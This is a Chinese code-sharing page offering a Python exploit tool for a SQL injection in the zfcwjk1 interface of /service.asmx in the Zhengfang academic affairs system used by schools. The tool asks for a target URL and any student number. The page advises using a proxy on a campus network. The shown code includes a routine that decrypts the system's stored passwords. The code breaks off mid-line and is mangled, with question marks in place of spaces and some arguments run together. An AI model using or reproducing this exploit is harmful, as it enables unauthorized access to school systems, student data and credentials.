資源簡介
相信研究過正方教務系統的朋友看到過網上傳播的比較多的一篇文章提的/service.asmx中的BMCheckPassword存在注入,然而現在大多數正方教務已經將BMCheckPassword移除了,導致漏洞無法利用。本人研究了/service.asmx中的其它接口,發現zfcwjk1存在同樣的注入漏洞,特將注入方法寫成工具供大家學習參考。
zfcwjk1似乎是一個財務類的確認接口,利用起來稍微麻煩點,需要一個目標學校的任意學號。
程序執行后,會需要用戶輸入三個參數。分別是:
1.目標網址
2.目標學校的任意學號
3.年份(估計是用來確定這個學號所在年份的情況,隨便填個2012或者2013,不行再換)
若提示“cannot access target url”則可能是目標網址填錯了或者教務系統已經將/service.asmx移除了,如果是/service.asmx被移除的話漏洞就沒法再利用了。
另外,若是校內網使用則建議掛代理。。。
代碼片段和文件信息
import?requests
import?re
import?os
def?add(a):
????if?a==‘~‘:
????????a=None
????????return?a
????a=chr(ord(a)+1)
????if?a==‘&‘?or?a==‘<‘:
????????a=chr(ord(a)+1)
????return?a
def?zfDecrypt(pwdkey=“Encrypt01“):
????print?‘beginning?to?decrypte?password...‘
????tmp?=?““
????for?i?in?range(len(pwd)//len(key)+1):
????????tmp?=?tmp?+?key
????key?=?tmp[0:len(pwd)]
????????
????pwdLength?=?len(pwd)
????
????if?(pwdLength?%?2?==0):
????????pwd_1?=?list(pwd[0:pwdLength//2])
????????pwd_2?=?list(pwd[pwdLength//2:pwdLength])
????????pwd_1.reverse()
????????pwd_2.reverse()
????????pwd?=?‘‘.join(pwd_1)+‘‘.join(pwd_2)
????????
????array_p?=?[]
????array_k?=?[]
????
????for?i?in?range(pwdLength):
????????
????????array_p.append(pwd[i:i+1])
????????array_k.append(key[i:i+1])
????????a?=?ord(array_p[i])^ord(array_k[i])
????????
????????if((a>=32)and(a<=126)):
????????????array_p[i]?=?chr(a)
????pwd?=?‘‘.join(array_p)
????print?‘decryption?finished‘
????return?pwd
def?getSession(url):
????s=requests.session()
????r=s.get(url)
????return?url+r.request.path_url
def?addasmx(url):
????pos=url.rfind(‘/‘)
????return?url[:pos]+‘/service.asmx‘
def?handle_url(url):
????if?url[-1]==‘/‘:
????????url=url[:-1]
????s=requests.session()
????r=s.get(url)
????if?r.request.path_url!=‘/‘:
????????pos=r.request.path_url.rfind(‘/‘)
????????session=r.request.path_url[:pos]
????else:
????????session=r.request.path_url
????url=url+session+‘/service.asmx‘
????r=requests.get(url)
????if?r.status_code==200?and?‘ERROR‘?not?in?r.content:
????????return?url
????else:?
????????return?None
def?get_headers_body(urlxnxh):
????regx=‘([\s\S]+?)
‘
????r=requests.get(url+‘?op=zfcwjk1‘)
????ret=re.findall(regxr.content)
????pos=ret[0].find(‘\r\n\r\n‘)
????headers=ret[0][:pos]
????body=ret[0][pos+4:]
????headers=headers.split(‘\r\n‘)[1:]
????headers={i.split(‘:?‘)[0]:‘‘.join(i.split(‘:?‘)[1:])?for?i?in?headers?if?‘C
- 上一篇:計算24點python
- 下一篇:Kaggle房價預測代碼195049
評論
共有 條評論